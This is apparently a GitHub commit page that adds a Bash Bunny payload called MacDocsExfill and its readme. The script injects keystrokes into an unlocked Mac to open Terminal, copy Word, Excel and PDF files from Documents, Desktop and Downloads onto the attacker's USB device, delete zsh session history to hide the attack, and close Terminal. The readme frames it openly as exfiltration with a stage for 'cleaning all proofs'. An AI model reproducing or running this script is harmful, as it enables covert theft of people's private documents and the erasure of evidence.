-
Notifications
You must be signed in to change notification settings - Fork 1.5k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Update of MacPhotoExfill & Create MacDocsExfill (#588)
* Update readme.md * Update payload.txt * Create MacDocsExfill * Delete MacDocsExfill * Add files via upload
- Loading branch information
Showing
4 changed files
with
165 additions
and
27 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,78 @@ | ||
#!/bin/bash | ||
# | ||
# Title: MacDocsExfill | ||
# Author: afsh4ck | ||
# Version: 1.0 | ||
# Target: MacOS | ||
# Category: Exfiltration | ||
# | ||
# Exfilter all the images from the principal folders on unlocked MacOS targets. | ||
# Stashes them in /loot/MacDocsExfill | ||
# | ||
# Purple Setup | ||
# Amber..............Attack Mode ON | ||
# Green..............Finished | ||
|
||
LED SETUP | ||
ATTACKMODE HID STORAGE ECM_ETHERNET | ||
GET TARGET_HOSTNAME | ||
QUACK DELAY 1000 | ||
|
||
lootdir=loot/MacDocsExfill/$TARGET_HOSTNAME | ||
mkdir -p /root/udisk/$lootdir | ||
|
||
QUACK GUI SPACE | ||
QUACK DELAY 1000 | ||
QUACK STRING terminal | ||
QUACK ENTER | ||
QUACK DELAY 2000 | ||
|
||
LED STAGE 1 | ||
|
||
QUACK STRING mkdir -p /Volumes/BashBunny/$lootdir/Documents; | ||
QUACK ENTER | ||
QUACK STRING mkdir -p /Volumes/BashBunny/$lootdir/Desktop; | ||
QUACK ENTER | ||
QUACK STRING mkdir -p /Volumes/BashBunny/$lootdir/Downloads; | ||
QUACK ENTER | ||
QUACK STRING rsync -av Documents/**/*.{docx,xlsx,pdf} /Volumes/BashBunny/$lootdir/Documents ; | ||
QUACK ENTER | ||
QUACK STRING echo "Please wait while the files are copied..."; | ||
QUACK ENTER | ||
QUACK STRING wait; | ||
QUACK ENTER | ||
QUACK STRING rsync -av Desktop/**/*.{docx,xlsx,pdf} /Volumes/BashBunny/$lootdir/Desktop ; | ||
QUACK ENTER | ||
QUACK STRING echo "Please wait while the files are copied..."; | ||
QUACK ENTER | ||
QUACK STRING wait; | ||
QUACK ENTER | ||
QUACK STRING rsync -av Downloads/**/*.{docx,xlsx,pdf} /Volumes/BashBunny/$lootdir/Downloads ; | ||
QUACK ENTER | ||
QUACK STRING echo "Please wait while the files are copied..."; | ||
QUACK ENTER | ||
QUACK STRING wait; | ||
QUACK ENTER | ||
|
||
# Ensure sincronization | ||
sync | ||
|
||
# Cleanup and delete proofs | ||
LED STAGE 2 | ||
QUACK ENTER | ||
|
||
# Eject BB storage | ||
QUACK STRING diskutil eject /Volumes/BashBunny/ | ||
QUACK ENTER | ||
QUACK DELAY 500 | ||
|
||
# Remove terminal history from current session (commands used in attack won't be visible with the history command) | ||
QUACK STRING rm -r ~/.zsh_sessions | ||
QUACK ENTER | ||
QUACK DELAY 500 | ||
|
||
# Exit terminal | ||
QUACK STRING killall Terminal | ||
QUACK ENTER | ||
|
||
LED FINISH |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,46 @@ | ||
# Mac Docs Exfilter for the BashBunny | ||
|
||
_______ ______ ______ __ __ | ||
| \ / \ / \ | \ | \ | ||
| $$$$$$$\| $$$$$$\| $$$$$$\ | $$ | $$ | ||
| $$ | $$| $$ | $$| $$ \$$______ \$$\/ $$ | ||
| $$ | $$| $$ | $$| $$ | \ >$$ $$ | ||
| $$ | $$| $$ | $$| $$ __ \$$$$$$/ $$$$\ | ||
| $$__/ $$| $$__/ $$| $$__/ \ | $$ \$$\ | ||
| $$ $$ \$$ $$ \$$ $$ | $$ | $$ | ||
\$$$$$$$ \$$$$$$ \$$$$$$ \$$ \$$ | ||
|
||
|
||
* Author: afsh4ck | ||
* Version: 1.0 | ||
* Target: MacOS | ||
* Tested on: Ventura 13.3.1 | ||
* Category: Exfiltration | ||
|
||
# DESCRIPTION | ||
|
||
Exfilter all the documents from the principal folders on unlocked MacOS targets. | ||
Stashes them in /loot/MacDocsExfill/$hostname grouped in subfolders: | ||
|
||
| Subfolder | Content | | ||
| ------------------ | -------------------------------------------- | | ||
| Documents | All the docs in /root/Documents folder | | ||
| Desktop | All the docs in /root/Desktop folder | | ||
| Downloads | All the docs in /root/Downloads folder | | ||
|
||
# IMAGE FORMATS | ||
|
||
| Format | | ||
| ------------------ | | ||
| .docx | | ||
| .xlsx | | ||
| .pdf | | ||
|
||
# LED STATUS | ||
|
||
| LED | Status | | ||
| ------------------ | -------------------------------------------- | | ||
| Green | Setup | | ||
| Yellow Blink | Attack Mode ON | | ||
| Purple Slow | Cleaning all proofs | | ||
| Green Fixed | Finish | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters